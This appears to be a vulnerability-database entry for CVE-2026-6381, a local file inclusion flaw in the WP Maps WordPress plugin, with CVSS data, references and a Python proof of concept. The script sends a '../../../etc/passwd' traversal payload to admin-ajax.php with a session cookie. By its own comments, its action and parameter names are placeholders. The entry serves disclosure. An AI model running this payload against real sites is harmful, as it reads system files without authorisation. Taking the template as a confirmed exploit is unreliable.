CVE-2026-6381

Description

The WP Maps WordPress plugin before 4.9.3 does not properly sanitize a parameter before using it in a file path, allowing authenticated users to perform Local File Inclusion attacks.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Maps WordPress Plugin < 4.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-6381: WP Maps Plugin LFI
# Target URL (example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Attacker needs a valid authenticated session cookie (Low privilege required)
cookies = {
    "wordpress_logged_in_abc123": "admin|..."
}

# The vulnerable parameter name is hypothetical, replace 'file_path_param' with actual parameter if known
# The vulnerability allows including files via directory traversal
payload = {
    "action": "vulnerable_action_name",
    "file_path_param": "../../../etc/passwd"
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies)
    if response.status_code == 200 and "root:" in response.text:
        print("[+] Vulnerability confirmed! /etc/passwd leaked.")
    else:
        print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6381
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6381
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6381/
[4] VulDB https://vuldb.com/cve/CVE-2026-6381
[5] https://wpscan.com/vulnerability/18b36672-58d7-44fa-b653-b728e9ef257a/

Raw JSON Data

JSON

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